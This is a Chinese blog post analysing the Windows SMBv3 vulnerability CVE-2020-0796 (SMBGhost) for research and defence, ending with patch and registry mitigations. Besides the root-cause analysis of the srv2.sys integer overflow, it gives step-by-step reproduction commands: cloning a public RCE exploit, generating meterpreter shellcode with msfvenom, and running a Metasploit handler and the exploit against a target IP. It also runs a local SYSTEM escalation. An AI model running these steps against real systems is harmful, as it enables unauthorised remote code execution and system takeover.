0x00  漏洞描述

漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

0x01  漏洞响应版本

Windows 10 1903版本(用于基于x32的系统)
Windows 10 1903版(用于基于x64的系统)
Windows 10 1903版(用于基于ARM64的系统)
Windows Server 1903版(服务器核心安装)
Windows 10 1909版本(用于基于x32的系统)
Windows 10版本1909(用于基于x64的系统)
Windows 10 1909版(用于基于ARM64的系统)
Windows Server版本1909(服务器核心安装)

0x02  漏洞分析

漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

1.根本原因

漏洞发生在srv2.sys中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。

2.初步分析

该错误是发生在srv2.sys SMB服务器驱动程序中的Srv2DecompressData函数中的整数溢出错误。这是该函数的简化版本,省略了不相关的细节:

typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER; typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER; NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
} ULONG FinalCompressedSize = 0; NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
} if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
} Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}

该Srv2DecompressData函数接收客户端发送的压缩消息,分配所需的内存量,并解压缩数据。然后,如果Offset字段不为零,它会将放置在压缩数据之前的数据复制到分配的缓冲区的开头。

如果仔细观察,我们会发现第20行和第31行可能导致某些输入的整数溢出。例如,大多数在bug发布后不久出现并导致系统崩溃的poc都使用0xffffff值作为Offset字段。使用该值0xffffff会在第20行触发整数溢出,因此分配的字节更少。

稍后,它会在第31行触发额外的整数溢出。崩溃是由于在第30行中计算出的远离接收消息的地址处的内存访问造成的。如果代码在第31行验证了计算结果,那么它将很早退出,因为缓冲区长度恰好是负数且无法表示,这也使得第30行的地址本身也无效。

3.选择溢出内容

只有两个相关字段可以控制以导致整数溢出的字段:OriginalCompressedSegmentSize和Offset,因此没有太多选择。在尝试了几种组合之后,下面的组合吸引了我们:如果我们发送一个合法的偏移值和一个巨大的原始压缩段大小值呢?让我们回顾一下代码将要执行的三个步骤:

  1. 分配:由于整数溢出,分配的字节数将小于两个字段的总和。
  2. 解压缩:解压缩将收到一个非常大的OriginalCompressedSegmentSize值,将目标缓冲区视为具有无限大小。所有其他参数均不受影响,因此它将按预期执行。
  3. 复制:如果要执行,则复制将按预期执行。

不管是否要执行复制步骤,它看起来已经很有趣了——我们可以在解压缩阶段触发越界写入,因为我们设法分配了比“分配”阶段所需的字节少的字节。

如您所见,使用这种技术,我们可以触发任何大小和内容的溢出,这是一个很好的开始。但是什么位于我们的缓冲区之外?让我们找出答案!

4.深入分析SrvNetAllocateBuffer

为了回答这个问题,我们需要查看分配函数,在我们的例子中是SrvNetAllocateBuffer。下面是函数的有趣部分:

PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
// ... if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
} SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
} // Initialize some Result fields... return Result;
}

我们可以看到分配函数根据所需的字节数执行不同的操作。大型分配(大于约16MB)会导致执行失败。中型分配(大于约1 MB)使用SrvNetAllocateBufferFromPool函数进行分配。小型分配(其余的)使用lookaside列表进行优化。

注意:还有一个SrvDisableNetBufferLookAsideList标志会影响函数的功能,但是它是由一个未记录的注册表设置来设置的,并且默认情况下处于禁用状态,因此并不是很有趣。

Lookaside列表用于有效地为驱动程序保留一组可重用的、固定大小的缓冲区。lookaside列表的功能之一是定义一个自定义的分配/释放函数,用于管理缓冲区。查看SrvNetBufferLookasides数组的引用,我们发现它是在SrvNetCreateBufferLookasides函数中初始化的,通过查看它,我们了解到以下内容:

  • 自定义分配函数定义为SrvNetBufferLookasideAllocate,它只调用SrvNetAllocateBufferFromPool
  • 9个lookaside列表按以下大小创建,我们使用Python快速计算:
    >>> [hex((1 << (i + 12)) + 256) for i in range(9)]
    [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
  • 这与我们的发现相匹配,即分配大于0x100100字节的分配时不使用lookaside列表。

结论是每个分配请求最终都出现在SrvNetAllocateBufferFromPool函数中,所以让我们来分析它。

6.SrvNetAllocateBufferFromPool和分配的缓冲区布局

SrvNetAllocateBufferFromPool函数使用ExAllocatePoolWithTag函数在NonPagedPoolNx池中分配一个缓冲区,然后用数据填充一些结构。分配的缓冲区的布局如下:

在我们的研究范围内,此布局的唯一相关部分是用户缓冲区和分配头结构。我们可以马上看到,通过溢出用户缓冲区,我们最终会重写ALLOCATION_HEADER结构。看起来很方便。

7.重写分配头结构

此时,我们的第一个想法是,由SmbCompressionDecompress调用之后的检查:

if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}

SrvNetFreeBuffer将被调用,并且该函数将失败,因为我们将其设计OriginalCompressedSegmentSize为一个很大的数字,并且FinalCompressedSize将成为一个较小的数字,代表实际的解压缩字节数。因此,我们分析了该SrvNetFreeBuffer函数,成功地替换了一个幻数的分配指针,然后等待free函数尝试对其进行释放,以期稍后将其用于free-after-free或类似用途。但是令我们惊讶的是,该memcpy函数崩溃了。这使我们感到高兴,因为我们根本没有想到哪里,但我们必须检查为什么会这样。可以在SmbCompressionDecompress函数的实现中找到说明:

NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ... NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
} // ... return Status;
}

基本上,如果解压成功,FinalCompressedSize将更新为保存CompressedBufferSize的值,它是缓冲区的大小。这种对FinalCompressedSize返回值的故意更新对我们来说似乎非常可疑,因为这个小细节,加上分配的缓冲区布局,允许非常方便地利用这个bug。

由于执行继续到复制原始数据的阶段,让我们再次检查调用:

memcpy(
Alloc-> UserBuffer,
(PUCHAR)title+ sizeof(COMPRESSION_TRANSFORM_HEADER),
Header-> Offset);

从ALLOCATION_HEADER结构中读取目标地址,我们可以覆盖该结构。缓冲区的内容和大小也由我们控制。

8.本地权限提升

既然我们有了写在哪里开发,我们能用它做什么?很明显我们可以让系统崩溃。我们可能能够触发远程代码执行,但我们还没有找到这样做的方法。如果我们在本地主机上使用此漏洞并泄漏其他信息,我们可以将其用于本地权限提升,因为已经通过几种技术证明了这一点

我们尝试的第一种技术是Morten Schenk在其《Black Hat USA 2017》演讲中提出的。该技术涉及重写win32的.data部分中的函数指针数据库系统驱动程序,然后从用户模式调用相应的函数以获得代码执行。j00ru写了一篇关于在WCTF 2018中使用此技术的精彩文章,并提供了他的漏洞源代码。我们针对write what where漏洞进行了调整,但发现它不起作用,因为处理SMB消息的线程不是GUI线程。因此,win32数据库系统没有映射,而且技术也不相关(除非有办法使它成为一个GUI线程,这是我们没有研究过的)。

我们最终在2012年的黑帽演示中使用了cesarcer所介绍的著名技术—轻松本地Windows内核开发。该技术是通过使用NtQuerySystemInformation(SystemHandleInformation)API泄漏当前进程令牌地址,然后重写该地址,授予当前进程令牌权限,这些权限可用于权限提升。Bryan Alexander(dronesec)和Stephen Breen(breenmachine)(2017)在EoP研究中滥用代理权限,展示了使用各种令牌特权提升特权的几种方法。

我们基于Alexandre Beaulieu在利用任意写操作提升权限writeup时共享的代码进行攻击。在修改进程的令牌特权后,我们通过将DLL注入winlogon.exe. DLL的全部目的是启动命令提示符. 我们的完整本地特权升级证明可在此处找到,仅可用于研究/防御目的。
 

0x03  CVE-2020-0796 RCE漏洞复现

1.环境准备
攻击机:kal2019  ip:192.168.1.101
目标靶机:windows10 1903   x64 (专业版,企业版也可以) ip:192.168.1.103
目标靶机的下载地址:
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
2.环境要求:
(1).该poc不太稳定,需要多次测试(猜测是占用监听端口或者网络问题),有可能出现蓝屏现象
(2).如果POC失败,可能是目标系统开启系统自带的defender拦截了
(3).测试的时候,最好关闭防火墙和杀软,让445端口开放
3.复现步骤
(1).kali下克隆下载利用poc
root@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
(2).切换到利用poc目录下
root@kali2019:/opt# cd SMBGhost_RCE_PoC/
(3).该POC需要用python3环境执行
(4).可以看到目标靶机的IP地址以及系统版本

(5).在kali下生成python版本的反弹shellcode
root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
(6).可以看到生成的shellcode
root@kali2019:~# cat exp.py
(7).将生成的exp.py代码中的变量buf全部替换成变量USER_PAYLOAD,然后将所有代码粘贴覆盖下面的代码处:
(8).在kali上启动MSF,并如下设置
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #设置反弹模式
msf5 exploit(multi/handler) > set rhost 192.168.1.103 #设置目标靶机IP地址
msf5 exploit(multi/handler) > set lport 2333 #设置监听端口
msf5 exploit(multi/handler) > exploit
(9).执行利用poc,可以看到成功执行,在按任意键,最好回车键即可
python3  exploit.py  -ip  192.168.1.103
(10).在msf可以看到成功反弹出目标靶机的shell
 

0x04  CVE-2020-0796 本地提权漏洞复现

1.环境要求,需要windows 10 1909 x64 
下载地址:ed2k://|file|cn_windows_10_business_editions_version_1909_x64_dvd_0ca83907.iso|5275090944|9BCD5FA6C8009E4D0260E4B23008BD47|/
2.这里我新建了一个普通权限的账号,可以看到权限很小
3.在普通账号上执行cve-2020-0796-local.exe,可以看到成功提权到system权限

0x05  漏洞检测

1.奇安信批量检测工具:
2.sh脚本检测:
3.python脚本检测:

0x06 漏洞修复

1. 更新,完成补丁的安装。

操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。
2.微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

3.对SMB通信445端口进行封禁。

4.补丁链接
 
 

0x07  参考连接

 
 
 
 
 
 
 

Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现的更多相关文章

  1. CVE-2017-11882 漏洞分析总结 新手漏洞分析详细教程

    CVE-2017-11882分析总结 注: 这篇随笔记录了CVE-2017-11882漏洞分析的整个过程,并介绍了相关调试软件的使用 漏洞信息 CVE-2017-11882属于缓冲区溢出类型漏洞,产生 ...

  2. 从CVE-2018-1273看漏洞分析

    漏洞分析的边界 漏洞分析最应该关注的是漏洞相关的代码,至于其余的代码可以通过关键位置下断点,来理解大概功能. 其中最关键的就是了解数据流,找到离漏洞位置最近的 原始数据 经过的位置,然后开始往下分析, ...

  3. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

  4. Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析

    Spring Cloud gateway是什么? Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关.网关作为流量的,在微服务系统中有着非常作 ...

  5. FakeID签名漏洞分析及利用(二)

    本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...

  6. weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...

  7. 从乌云的错误漏洞分析看Mifare Classic安全

    前言 12年2月初国内著名安全问题反馈平台-乌云发布了有关某公司员工卡的金额效验算法破解的安全问题.从整个漏洞分析来看,漏洞的提交者把员工卡的数据分析得非常仔细,以至很多刚刚接触或者未曾接触的都纷纷赞 ...

  8. 帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析

    帝国CMS(EmpireCMS) v7.5配置文件写入漏洞分析 一.漏洞描述 该漏洞是由于安装程序时没有对用户的输入做严格过滤,导致用户输入的可控参数被写入配置文件,造成任意代码执行漏洞. 二.漏洞复 ...

  9. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析

    帝国CMS(EmpireCMS) v7.5 前台XSS漏洞分析 一.漏洞描述 该漏洞是由于javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的href属性和src属性输 ...

随机推荐

  1. python+selenium 爬取中国工业园网

    import math import re import requests from lxml import etree type = "https://www.cnrepark.com/g ...

  2. S10 TES的八强赛,创造了奇迹,看看比赛时网友们怎么说的

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理 我相信很多观众会和我一样吧,当TES赢下第一局后开始心怀侥幸,赢下第二局后觉 ...

  3. 【API管理 APIM】如何查看APIM中的Request与Response详细信息,如Header,Body中的参数内容

    问题描述 通过APIM门户或者是Developer门户,我们可以通过Test功能测试某一个接口,通过Trace可以获取非常详细的Request,Response的信息,包含Header,X-Forwa ...

  4. 通过express快速搭建一个node服务

    Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台.可以理解为是运行在服务端的 JavaScript.如果你是一个前端程序员,不太擅长像PHP.Python或Ruby等 ...

  5. h5 语义话标签的意义

    使用语义话标签的意义 语义类标签对开发者更为友好,使用语义类标签增强了可读性,即便是在没有 CSS 的时 候,开发者也能够清晰地看出网页的结构,也更为便于团队的开发和维护. 除了对人类友好之外,语义类 ...

  6. Redis学习笔记(九)——集群

     一.概述 Redis Cluster与Redis3.0.0同时发布,以此结束了Redis无官方集群方案的时代. Redis Cluster是去中心化,去中间件,也就是说,集群中的每个节点都是平等的关 ...

  7. pandas dataframe 时间字段 diff 函数

    pandas pandas 是数据处理的利器,非常方便进行表格数据处理,用过的人应该都很清楚,没接触的可以自行查阅pandas 官网. 需求介绍 最近在使用 pandas 的过程中碰到一个问题,需要计 ...

  8. POJ2432 Around the world

    题意描述 Around the world 在一个圆上有 \(n\) 点,其中有 \(m\) 条双向边连接它们,每条双向边连接两点总是沿着圆的最小弧连接. 求从 \(1\) 号点出发并回到 \(1\) ...

  9. 电脑查看当前自己的wifi密码

    菜单+R 输入control  点击确认.

  10. Typora设置Vue主题

    平时看视频,发现好多老师使用 Typora 时,界面跟我的不一样,好看一些,后来查了下才知道老师使用了Vue主题,接下来我就记录下设置Vue主题的步骤吧 一.下载Vue主题 地址:http://the ...